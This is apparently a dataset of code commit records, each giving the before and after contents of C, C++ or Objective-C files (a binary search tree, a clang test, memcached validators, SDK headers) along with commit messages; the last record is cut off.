{"commit":"56f322d7e40c891d396ede91242b0c4a05b7e383","old_file":"bst.c","new_file":"bst.c","old_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\n","new_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\n","subject":"Add BST Create function implementation","message":"Add BST Create function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"68bf16f8d1e7c8dff8732f8aae4b4b418054216f","old_file":"test\/Driver\/darwin-asan-nofortify.c","new_file":"test\/Driver\/darwin-asan-nofortify.c","old_contents":"\/\/ Make sure AddressSanitizer disables _FORTIFY_SOURCE on Darwin.\n\n\/\/ REQUIRES: system-darwin\n\/\/ RUN: %clang -faddress-sanitizer %s -E -dM -o - | FileCheck %s\n\/\/ CHECK: #define _FORTIFY_SOURCE 0\n","new_contents":"\/\/ Make sure AddressSanitizer disables _FORTIFY_SOURCE on Darwin.\n\n\/\/ RUN: %clang -faddress-sanitizer %s -E -dM -target x86_64-darwin - | FileCheck %s\n\n\/\/ CHECK: #define _FORTIFY_SOURCE 0\n","subject":"Use an explicit target to test that source fortification is off when building for Darwin with -faddress-sanitizer.","message":"Use an explicit target to test that source fortification is off when building for Darwin with -faddress-sanitizer.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@164485 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"67e210737f3c084e3957bfd6bb1a3821180425c1","old_file":"SymbolicMathFunctions.h","new_file":"SymbolicMathFunctions.h","old_contents":"","new_contents":"#ifndef SYMBOLICMATHNODE_H\n#define SYMBOLICMATHNODE_H\n\n#include <vector>\n\n#include \"SymbolicMathNode.h\"\n\nnamespace SymbolicMath\n{\n\n\/\/ clang-format off\nNode abs(Node a) { return Node(UnaryFunctionType::ABS, a); }\nNode acos(Node a) { return Node(UnaryFunctionType::ACOS, a); }\nNode acosh(Node a) { return Node(UnaryFunctionType::ACOSH, a); }\nNode asin(Node a) { return Node(UnaryFunctionType::ASIN, a); }\nNode asinh(Node a) { return Node(UnaryFunctionType::ASINH, a); }\nNode atan(Node a) { return Node(UnaryFunctionType::ATAN, a); }\nNode atanh(Node a) { return Node(UnaryFunctionType::ATANH, a); }\nNode ceil(Node a) { return Node(UnaryFunctionType::CEIL, a); }\nNode cos(Node a) { return Node(UnaryFunctionType::COS, a); }\nNode cosh(Node a) { return Node(UnaryFunctionType::COSH, a); }\nNode cot(Node a) { return Node(UnaryFunctionType::COT, a); }\nNode csc(Node a) { return Node(UnaryFunctionType::CSC, a); }\nNode erf(Node a) { return Node(UnaryFunctionType::ERF, a); }\nNode exp(Node a) { return Node(UnaryFunctionType::EXP, a); }\nNode exp2(Node a) { return Node(UnaryFunctionType::EXP2, a); }\nNode floor(Node a) { return Node(UnaryFunctionType::FLOOR, a); }\nNode log(Node a) { return Node(UnaryFunctionType::LOG, a); }\nNode log2(Node a) { return Node(UnaryFunctionType::LOG2, a); }\nNode sec(Node a) { return Node(UnaryFunctionType::SEC, a); }\nNode sin(Node a) { return Node(UnaryFunctionType::SIN, a); }\nNode sinh(Node a) { return Node(UnaryFunctionType::SINH, a); }\nNode tan(Node a) { return Node(UnaryFunctionType::TAN, a); }\nNode tanh(Node a) { return Node(UnaryFunctionType::TANH, a); }\n\/\/ clang-format on\n\n\/\/ clang-format off\nNode atan2(Node a, Node b) { return Node(BinaryFunctionType::ATAN2, a, b); }\nNode max(Node a, Node b) { return Node(BinaryFunctionType::MAX, a, b); }\nNode min(Node a, Node b) { return Node(BinaryFunctionType::MIN, a, b); }\nNode plog(Node a, Node b) { return Node(BinaryFunctionType::PLOG, a, b); }\nNode pow(Node a, Node b) { return Node(BinaryFunctionType::POW, a, b); }\n\/\/ clang-format on\n\nNode\nconditional(Node a, Node b, Node c)\n{\n  return Node(ConditionalType::IF, a, b, c);\n}\n\n\/\/ end namespace SymbolicMath\n}\n","subject":"Add functions to build SM trees","message":"Add functions to build SM trees\n","lang":"C","license":"lgpl-2.1","repos":"dschwen\/mathparse,dschwen\/mathparse"}
{"commit":"76879c5d5204ad38a36e183d8a03e20d9dc0ae56","old_file":"src\/search\/util\/timeout.h","new_file":"src\/search\/util\/timeout.h","old_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file timeout.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-12-16\n *\/\n\n#define _POSIX_C_SOURCE 200112L\n\nvoid timeout(unsigned int sec);\n","new_contents":"\/* -*- mode:linux -*- *\/\n\/**\n * \\file timeout.h\n *\n *\n *\n * \\author Ethan Burns\n * \\date 2008-12-16\n *\/\n\nvoid timeout(unsigned int sec);\n","subject":"Remove the _POSIX_C_SOURCE def that the sparc doesn't like","message":"Remove the _POSIX_C_SOURCE def that the sparc doesn't like\n","lang":"C","license":"mit","repos":"eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf,eaburns\/pbnf"}
{"commit":"43afb1bad3a927217f002bb9c3181a59e38839a7","old_file":"daemon\/mcbp_validators.h","new_file":"daemon\/mcbp_validators.h","old_contents":"\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n*     Copyright 2015 Couchbase, Inc\n*\n*   Licensed under the Apache License, Version 2.0 (the \"License\");\n*   you may not use this file except in compliance with the License.\n*   You may obtain a copy of the License at\n*\n*       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*   Unless required by applicable law or agreed to in writing, software\n*   distributed under the License is distributed on an \"AS IS\" BASIS,\n*   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*   See the License for the specific language governing permissions and\n*   limitations under the License.\n*\/\n\n\/*\n * memcached binary protocol packet validators\n *\/\n#pragma once\n\n#include <memcached\/protocol_binary.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n    typedef protocol_binary_response_status (*mcbp_package_validate)(void *packet);\n\n    \/**\n     * Get the memcached binary protocol validators\n     *\n     * @return the array of 0x100 entries for the package\n     *         validators\n     *\/\n    mcbp_package_validate *get_mcbp_validators(void);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n*     Copyright 2015 Couchbase, Inc\n*\n*   Licensed under the Apache License, Version 2.0 (the \"License\");\n*   you may not use this file except in compliance with the License.\n*   You may obtain a copy of the License at\n*\n*       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*   Unless required by applicable law or agreed to in writing, software\n*   distributed under the License is distributed on an \"AS IS\" BASIS,\n*   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*   See the License for the specific language governing permissions and\n*   limitations under the License.\n*\/\n\n\/*\n * memcached binary protocol packet validators\n *\/\n#pragma once\n\n#include <memcached\/protocol_binary.h>\n\ntypedef protocol_binary_response_status (*mcbp_package_validate)(void *packet);\n\n\/**\n * Get the memcached binary protocol validators\n *\n * @return the array of 0x100 entries for the package\n *         validators\n *\/\nmcbp_package_validate *get_mcbp_validators(void);\n","subject":"Drop C linkage for message validators","message":"Drop C linkage for message validators\n\nChange-Id: I5a95a6ddd361ee2009ea399479a7df51733af709\nReviewed-on: http:\/\/review.couchbase.org\/54979\nTested-by: buildbot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Dave Rigby <a09264da4832c7ff1d3bf1608a19f4b870f93750@couchbase.com>\n","lang":"C","license":"bsd-3-clause","repos":"daverigby\/kv_engine,owendCB\/memcached,owendCB\/memcached,daverigby\/kv_engine,daverigby\/kv_engine,daverigby\/memcached,couchbase\/memcached,owendCB\/memcached,owendCB\/memcached,couchbase\/memcached,daverigby\/memcached,daverigby\/memcached,couchbase\/memcached,daverigby\/memcached,daverigby\/kv_engine,couchbase\/memcached"}
{"commit":"920a78097ae079fc6a77fb808c989078134479d7","old_file":"DeepLinkKit\/Categories\/NSObject+DPLJSONObject.h","new_file":"DeepLinkKit\/Categories\/NSObject+DPLJSONObject.h","old_contents":"@import Foundation;\n\n@interface NSObject (DPLJSONObject)\n\n\/**\n Returns a JSON compatible version of the receiver.\n \n @discussion\n \n - NSDictionary and NSArray will call `DPLJSONObject' on all of their items.\n - Objects in an NSDictionary not keyed by an NSString will be removed.\n - NSNumbers that are NaN or Inf will be represented by a string.\n - NSDate objects will be represented as `timeIntervalSinceReferenceDate'.\n - JSON incompatible objects will return their description.\n - All NSNulls will be removed because who wants an NSNull.\n \n @see NSJSONSerialization\n *\/\n- (id)DPL_JSONObject;\n\n@end\n","new_contents":"@import Foundation;\n\n@interface NSObject (DPLJSONObject)\n\n\/**\n Returns a JSON compatible version of the receiver.\n \n @discussion\n - NSDictionary and NSArray will call `DPLJSONObject' on all of their items.\n - Objects in an NSDictionary not keyed by an NSString will be removed.\n - NSNumbers that are NaN or Inf will be represented by a string.\n - NSDate objects will be represented as `timeIntervalSinceReferenceDate'.\n - JSON incompatible objects will return their description.\n - All NSNulls will be removed because who wants an NSNull.\n \n @see NSJSONSerialization\n *\/\n- (id)DPL_JSONObject;\n\n@end\n","subject":"Fix warning 'Empty paragraph passed to '@discussion' command'","message":"Fix warning 'Empty paragraph passed to '@discussion' command'\n","lang":"C","license":"mit","repos":"button\/DeepLinkKit,button\/DeepLinkKit,button\/DeepLinkKit,button\/DeepLinkKit"}
{"commit":"436ff08a08318e1f6cb9ce5e1b8517b6ea00c0c0","old_file":"tmcd\/decls.h","new_file":"tmcd\/decls.h","old_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2003 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14447\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t8\n","new_contents":"\/*\n * EMULAB-COPYRIGHT\n * Copyright (c) 2000-2003 University of Utah and the Flux Group.\n * All rights reserved.\n *\/\n\n#define TBSERVER_PORT\t\t7777\n#define TBSERVER_PORT2\t\t14447\n#define MYBUFSIZE\t\t2048\n#define BOSSNODE_FILENAME\t\"bossnode\"\n\n\/*\n * As the tmcd changes, incompatable changes with older version of\n * the software cause problems. Starting with version 3, the client\n * will tell tmcd what version they are. If no version is included,\n * assume its DEFAULT_VERSION.\n *\n * Be sure to update the versions as the TMCD changes. Both the\n * tmcc and tmcd have CURRENT_VERSION compiled in, so be sure to\n * install new versions of each binary when the current version\n * changes. libsetup.pm module also encodes a current version, so be\n * sure to change it there too!\n *\n * Note, this is assumed to be an integer. No need for 3.23.479 ...\n * NB: See ron\/libsetup.pm. That is version 4! I'll merge that in. \n *\/\n#define DEFAULT_VERSION\t\t2\n#define CURRENT_VERSION\t\t9\n","subject":"Update to version 9 to match libsetup\/tmcd.","message":"Update to version 9 to match libsetup\/tmcd.\n","lang":"C","license":"agpl-3.0","repos":"nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome,nmc-probe\/emulab-nome"}
{"commit":"08a9882cc8cbec97947215a7cdb1f60effe82b15","old_file":"server\/gwkv_ht_wrapper.h","new_file":"server\/gwkv_ht_wrapper.h","old_contents":"#ifndef GWKV_HT_WRAPPER\n#define GWKV_HT_WRAPPER\n\n#include <stdlib.h>\n\ntypedef enum {\n        GET,\n        SET\n} method;\n\n\/* Defines for result codes *\/\n#define STORED 0\n#define NOT_STORED 1\n#define EXISTS 2\n#define NOT_FOUND 3\n\nstruct {\n        method method_type,\n        const char* key,\n        size_t key_length,\n        const char* value,\n        size_t value_length\n} operation;\n\n\/**\n * Wrapper function to set a value in the hashtable\n * Returns either STORED or NOT_STORED (defined above)\n *\/\nint\ngwkv_memcache_set (memcached_st *ptr,\n                  const char *key,\n                  size_t key_length,\n                  const char *value,\n                  size_t value_length);\n\n\/**\n * Wrapper function to read a value from the hashtable\n * Returns the data if sucessful, or NULL on error\n * These correspond to the EXISTS and NOT_FOUND codes above\n *\/\nchar*\ngwkv_memcached_get (memcached_st *ptr,\n                    const char *key,\n                    size_t key_length,\n                    size_t *value_length);\n\n#endif\n","new_contents":"#ifndef GWKV_HT_WRAPPER\n#define GWKV_HT_WRAPPER\n\n#include <stdlib.h>\n#include \"..\/hashtable\/hashtable.h\"\n\ntypedef enum {\n        GET,\n        SET\n} method;\n\n\/* Defines for result codes *\/\n#define STORED 0\n#define NOT_STORED 1\n#define EXISTS 2\n#define NOT_FOUND 3\n\nstruct {\n        method method_type,\n        const char* key,\n        size_t key_length,\n        const char* value,\n        size_t value_length\n} operation;\n\n\/**\n * Wrapper function to set a value in the hashtable\n * Returns either STORED or NOT_STORED (defined above)\n *\/\nint\ngwkv_server_set (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 const char *value,\n                 size_t value_length);\n\n\/**\n * Wrapper function to read a value from the hashtable\n * Returns the data if sucessful, or NULL on error\n * These correspond to the EXISTS and NOT_FOUND codes above\n *\/\nchar*\ngwkv_server_get (memcached_st *ptr,\n                 const char *key,\n                 size_t key_length,\n                 size_t *value_length);\n\n\n\n#endif\n","subject":"Change server set\/get function names","message":"Change server set\/get function names\n","lang":"C","license":"mit","repos":"gwAdvNet2015\/gw-kv-store"}
{"commit":"e54d4a7ec72354285ba4b8202a45693b83b75835","old_file":"common.h","new_file":"common.h","old_contents":"#ifndef _COMMON_H\n#define _COMMON_H\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#ifdef _LINUX\n#include <bsd\/string.h>\n#endif\n\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <libxml\/xmlsave.h>\n#include <libxml\/encoding.h>\n#include <libxml\/xmlstring.h>\n\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n\n#ifndef _READLINE\n#include <histedit.h>\n#else\n#include <readline\/readline.h>\n#include <readline\/history.h>\n#endif\n\n\n#define\tUSAGE\t\"[-k database file] [-p password file] [-m cipher mode] [-b] [-v] [-h] [-d]\"\n\n#define\tVERSION\t\"kc 2.1\"\n\n\n#ifndef _READLINE\nconst char *el_prompt_null(void);\n#endif\nconst char *prompt_str(void);\nint malloc_check(void *);\nchar *get_random_str(size_t, char);\nvoid version(void);\nvoid quit(int);\n\n\nchar\t\tdebug;\n\n\n#endif\n","new_contents":"#ifndef _COMMON_H\n#define _COMMON_H\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#ifdef _LINUX\n#include <bsd\/string.h>\n#endif\n\n#include <libxml\/parser.h>\n#include <libxml\/tree.h>\n#include <libxml\/xmlsave.h>\n#include <libxml\/encoding.h>\n#include <libxml\/xmlstring.h>\n\n#include <openssl\/bio.h>\n#include <openssl\/evp.h>\n\n#ifndef _READLINE\n#include <histedit.h>\n#else\n#include <readline\/readline.h>\n#include <readline\/history.h>\n#endif\n\n\n#define\tUSAGE\t\"[-k database file] [-p password file] [-m cipher mode] [-b] [-v] [-h] [-d]\"\n\n#define\tVERSION\t\"kc 2.1.1\"\n\n\n#ifndef _READLINE\nconst char *el_prompt_null(void);\n#endif\nconst char *prompt_str(void);\nint malloc_check(void *);\nchar *get_random_str(size_t, char);\nvoid version(void);\nvoid quit(int);\n\n\nchar\t\tdebug;\n\n\n#endif\n","subject":"Tag 2.1.1 because of the segfault fix.","message":"Tag 2.1.1 because of the segfault fix.\n\n","lang":"C","license":"bsd-2-clause","repos":"levaidaniel\/kc,levaidaniel\/kc,levaidaniel\/kc"}
{"commit":"2fcac93f99c329fb1d9e7ccf1644db865bada106","old_file":"gen_message_hashes\/hash_func.h","new_file":"gen_message_hashes\/hash_func.h","old_contents":"","new_contents":"static inline unsigned int hash_func_string(const char* key)\n{\n\tunsigned int hash = 0;\n\tint c;\n\twhile ((c = *key++) != 0)\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\treturn hash;\n}\n\n","subject":"Add file that holds the string hash function.","message":"Add file that holds the string hash function.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet"}
{"commit":"1d80b38e935401e40bdca2f3faaec4aeba77a716","old_file":"src\/random.h","new_file":"src\/random.h","old_contents":"\/**\n * @file    random.h\n * @ingroup CppAlgorithms\n * @brief   Random utility functions.\n *\n * Copyright (c) 2013 Sebastien Rombauts (sebastien.rombauts@gmail.com)\n *\n * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt\n * or copy at http:\/\/opensource.org\/licenses\/MIT)\n *\/\n\n\/**\n * @brief Random utility functions.\n *\/\nclass Random\n{\npublic:\n    \/**\n     * @brief Generate a printable alphanumeric character.\n     *\/\n    static char GenChar();\n\n    \/**\n     * @brief Generate a printable alphanumeric string.\n     *\/\n    static void GenString(char* str, size_t len);\n};\n","new_contents":"\/**\n * @file    random.h\n * @ingroup CppAlgorithms\n * @brief   Random utility functions.\n *\n * Copyright (c) 2013 Sebastien Rombauts (sebastien.rombauts@gmail.com)\n *\n * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt\n * or copy at http:\/\/opensource.org\/licenses\/MIT)\n *\/\n\n#include <cstddef>  \/\/ size_t\n\n\/**\n * @brief Random utility functions.\n *\/\nclass Random\n{\npublic:\n    \/**\n     * @brief Generate a printable alphanumeric character.\n     *\/\n    static char GenChar();\n\n    \/**\n     * @brief Generate a printable alphanumeric string.\n     *\/\n    static void GenString(char* str, size_t len);\n};\n","subject":"Fix Travis build (missing include for size_t)","message":"Fix Travis build (missing include for size_t)\n","lang":"C","license":"mit","repos":"SRombauts\/cpp-algorithms,SRombauts\/cpp-algorithms"}
{"commit":"fe18c5e9ff7070f2eefb3d5e922523143929f616","old_file":"tests\/regression\/36-octapron\/70-signed-overflows.c","new_file":"tests\/regression\/36-octapron\/70-signed-overflows.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron --sets sem.int.signed_overflow assume_none --disable ana.int.interval\n\/\/ copied from signed-overflows\/intervals for octApron\nint main(void) {\n    int x = 0;\n    while(x != 42) {\n        x++;\n        assert(x >= 1);\n    }\n\n}\n","subject":"Add octApron test on signed overflows","message":"Add octApron test on signed overflows\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b1321ce850ae77ea8d4a3fc0958ec58b404ec10d","old_file":"chapter3\/GameObject.h","new_file":"chapter3\/GameObject.h","old_contents":"#ifndef __GAME_OBJECT_H__\n#define __GAME_OBJECT_H__\n\n#include<iostream>\n#include<SDL2\/SDL.h>\n\nclass GameObject\n{\n   public:\n        void load(int pX, int pY, int pWidth, int pHeight, std::string pTextureId);\n        void draw(SDL_Renderer *renderer);\n        void update(); \n        void clean() { std::cout << \"clean game object\"; }\n\n    protected:\n        std::string textureId;\n\n        int currentFrame;\n        int currentRow;\n\n        int x;\n        int y;\n\n        int width;\n        int height;\n};\n\n#endif\n","new_contents":"#ifndef __GAME_OBJECT_H__\n#define __GAME_OBJECT_H__\n\n#include<iostream>\n#include<SDL2\/SDL.h>\n\nclass GameObject\n{\n   public:\n        virtual void load(int pX, int pY, int pWidth, int pHeight, std::string pTextureId);\n        virtual void draw(SDL_Renderer *renderer);\n        virtual void update();\n        virtual void clean() {};\n\n    protected:\n        std::string textureId;\n\n        int currentFrame;\n        int currentRow;\n\n        int x;\n        int y;\n\n        int width;\n        int height;\n};\n\n#endif\n","subject":"Include virtual in all methods.","message":"Include virtual in all methods.\n","lang":"C","license":"bsd-2-clause","repos":"caiotava\/SDLBook"}
{"commit":"b01a4463c1dbd4854f9fba47af8fa30394640375","old_file":"TokenArray.h","new_file":"TokenArray.h","old_contents":"#ifndef _EXCELFORMUAL_TOKEN_ARRAY_H__\n#define _EXCELFORMUAL_TOKEN_ARRAY_H__\n\n#include <vector>\n\nusing std::vector;\n\nnamespace ExcelFormula{\n\n\tclass Token;\n\n\n\tclass TokenArray{\n\t\tpublic:\n\t\t\tTokenArray();\n\n\t\t\tvoid toVector(vector<Token*>&);\n\t\t\tvoid fromVector(vector<Token*>&);\n\n\t\t\tsize_t size() {return m_tokens.size();}\n\n\t\t\tbool isBOF() {return (m_index <= 0)?true:false;}\n\n\t\t\tbool isEOF() {return (m_index >= m_tokens.size())?true:false;}\n\n\t\t\tToken* getCurrent();\n\n\t\t\tToken* getNext();\n\n\t\t\tToken* getPrevious();\n\n\t\t\tToken* add(Token*);\n\n\t\t\tbool moveNext();\n\n\t\t\tvoid reset(){m_index = 0;}\n\n\t\t\tvoid releaseAll();\n\n\t\tprivate:\n\t\t\tsize_t m_index;\n\t\t\tvector<Token*> m_tokens;\n\t};\n}\n\n#endif\n\n\n","new_contents":"#ifndef _EXCELFORMUAL_TOKEN_ARRAY_H__\n#define _EXCELFORMUAL_TOKEN_ARRAY_H__\n\n#include <vector>\n#include <cstddef>\n\nusing std::vector;\n\nnamespace ExcelFormula{\n\n\tclass Token;\n\n\n\tclass TokenArray{\n\t\tpublic:\n\t\t\tTokenArray();\n\n\t\t\tvoid toVector(vector<Token*>&);\n\t\t\tvoid fromVector(vector<Token*>&);\n\n\t\t\tsize_t size() {return m_tokens.size();}\n\n\t\t\tbool isBOF() {return (m_index <= 0)?true:false;}\n\n\t\t\tbool isEOF() {return (m_index >= m_tokens.size())?true:false;}\n\n\t\t\tToken* getCurrent();\n\n\t\t\tToken* getNext();\n\n\t\t\tToken* getPrevious();\n\n\t\t\tToken* add(Token*);\n\n\t\t\tbool moveNext();\n\n\t\t\tvoid reset(){m_index = 0;}\n\n\t\t\tvoid releaseAll();\n\n\t\tprivate:\n\t\t\tsize_t m_index;\n\t\t\tvector<Token*> m_tokens;\n\t};\n}\n\n#endif\n\n\n","subject":"Add missing include for size_t","message":"Add missing include for size_t\n\nFixes compile error:\n[...]\ng++ -c  -g TokenArray.cpp\nIn file included from TokenArray.cpp:1:0:\nTokenArray.h:20:4: error: ‘size_t’ does not name a type\n    size_t size() {return m_tokens.size();}\n    ^\nTokenArray.h:41:4: error: ‘size_t’ does not name a type\n    size_t m_index;\n    ^\n","lang":"C","license":"mit","repos":"lishen2\/Excel_formula_parser_cpp"}
{"commit":"a60af963642a31734c0a628fa79090fa5b7c58b2","old_file":"include\/libport\/unistd.h","new_file":"include\/libport\/unistd.h","old_contents":"#ifndef LIBPORT_UNISTD_H\n# define LIBPORT_UNISTD_H\n\n# include <libport\/detect-win32.h>\n# include <libport\/windows.hh> \/\/ Get sleep wrapper\n\n# include <libport\/config.h>\n\n\/\/ This is traditional Unix file.\n# ifdef LIBPORT_HAVE_UNISTD_H\n#  include <unistd.h>\n# endif\n\n\/\/ OSX does not have O_LARGEFILE.  No information was found whether\n\/\/ some equivalent flag is needed or not.  Other projects simply do as\n\/\/ follows.\n# ifndef O_LARGEFILE\n#  define O_LARGEFILE 0\n# endif\n\n\/\/ This seems to be its WIN32 equivalent.\n\/\/ http:\/\/msdn2.microsoft.com\/en-us\/library\/ms811896(d=printer).aspx#ucmgch09_topic7.\n# if defined WIN32 || defined LIBPORT_WIN32\n#  include <io.h>\n# endif\n\n# ifdef WIN32\n#  include <direct.h>\nextern \"C\"\n{\n  int chdir (const char* path)\n  {\n    return _chdir(path);\n  }\n}\n# endif\n\n# if !defined LIBPORT_HAVE_GETCWD\n#  if defined LIBPORT_HAVE__GETCWD\n#   define getcwd _getcwd\n#  elif defined LIBPORT_URBI_ENV_AIBO\n    \/\/ Will be defined in libport\/unistd.cc.\n#  else\n#   error I need either getcwd() or _getcwd()\n#  endif\n# endif\n\n#endif \/\/ !LIBPORT_UNISTD_H\n","new_contents":"#ifndef LIBPORT_UNISTD_H\n# define LIBPORT_UNISTD_H\n\n# include <libport\/detect-win32.h>\n# include <libport\/windows.hh> \/\/ Get sleep wrapper\n\n# include <libport\/config.h>\n\n\/\/ This is traditional Unix file.\n# ifdef LIBPORT_HAVE_UNISTD_H\n#  include <unistd.h>\n# endif\n\n\/\/ OSX does not have O_LARGEFILE.  No information was found whether\n\/\/ some equivalent flag is needed or not.  Other projects simply do as\n\/\/ follows.\n# ifndef O_LARGEFILE\n#  define O_LARGEFILE 0\n# endif\n\n\/\/ This seems to be its WIN32 equivalent.\n\/\/ http:\/\/msdn2.microsoft.com\/en-us\/library\/ms811896(d=printer).aspx#ucmgch09_topic7.\n# if defined WIN32 || defined LIBPORT_WIN32\n#  include <io.h>\n# endif\n\n# ifdef WIN32\n#  include <direct.h>\n#  define chdir _chdir\n# endif\n\n# if !defined LIBPORT_HAVE_GETCWD\n#  if defined LIBPORT_HAVE__GETCWD\n#   define getcwd _getcwd\n#  elif defined LIBPORT_URBI_ENV_AIBO\n    \/\/ Will be defined in libport\/unistd.cc.\n#  else\n#   error I need either getcwd() or _getcwd()\n#  endif\n# endif\n\n#endif \/\/ !LIBPORT_UNISTD_H\n","subject":"Define chdir as a macro.","message":"Define chdir as a macro.\n\nThe previous definition was uselessly complicated, and lacked the\nproper API declaration.\n\n\t* include\/libport\/unistd.h (chdir): Define as \"_chdir\".\n","lang":"C","license":"bsd-3-clause","repos":"aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport,aldebaran\/libport"}
{"commit":"5c43c3ef287b4aebdddbbf66a6afcdd4d2c47124","old_file":"TeamSnapSDK\/SDK\/CollectionJSON\/TSDKCollectionJSON.h","new_file":"TeamSnapSDK\/SDK\/CollectionJSON\/TSDKCollectionJSON.h","old_contents":"\/\/\n\/\/  TSDKCollectionJSON.h\n\/\/  TeamSnapSDK\n\/\/\n\/\/  Created by Jason Rahaim on 1\/10\/14.\n\/\/  Copyright (c) 2014 TeamSnap. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface TSDKCollectionJSON : NSObject <NSCoding, NSCopying>\n\n@property (nonatomic, strong) NSURL *_Nullable href;\n@property (nonatomic, strong) NSString *_Nullable version;\n@property (nonatomic, strong) NSString *_Nullable type;\n@property (nonatomic, strong) NSString *_Nullable rel;\n@property (nonatomic, strong) NSString *_Nullable errorTitle;\n@property (nonatomic, strong) NSString *_Nullable errorMessage;\n@property (nonatomic, assign) NSInteger errorCode;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable links;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable data;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable commands;\n@property (nonatomic, strong) NSMutableDictionary *_Nullable queries;\n@property (nonatomic, strong) id _Nullable collection;\n\n+(NSDictionary *_Nullable)dictionaryToCollectionJSON:(NSDictionary *_Nonnull)dictionary;\n- (instancetype _Nullable)initWithCoder:(NSCoder *_Nonnull)aDecoder;\n- (instancetype _Nullable)initWithJSON:(NSDictionary *_Nonnull)JSON;\n+ (instancetype _Nullable)collectionJSONForEncodedData:(NSData *_Nonnull)objectData;\n- (NSString *_Nullable)getObjectiveCHeaderSkeleton;\n- (NSData *_Nonnull)dataEncodedForSave;\n\n@end\n","new_contents":"\/\/\n\/\/  TSDKCollectionJSON.h\n\/\/  TeamSnapSDK\n\/\/\n\/\/  Created by Jason Rahaim on 1\/10\/14.\n\/\/  Copyright (c) 2014 TeamSnap. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface TSDKCollectionJSON : NSObject <NSCoding, NSCopying>\n\n@property (nonatomic, strong) NSURL *_Nullable href;\n@property (nonatomic, strong) NSString *_Nullable version;\n@property (nonatomic, strong) NSString *_Nullable type;\n@property (nonatomic, strong) NSString *_Nullable rel;\n@property (nonatomic, strong) NSString *_Nullable errorTitle;\n@property (nonatomic, strong) NSString *_Nullable errorMessage;\n@property (nonatomic, assign) NSInteger errorCode;\n@property (nonatomic, strong) 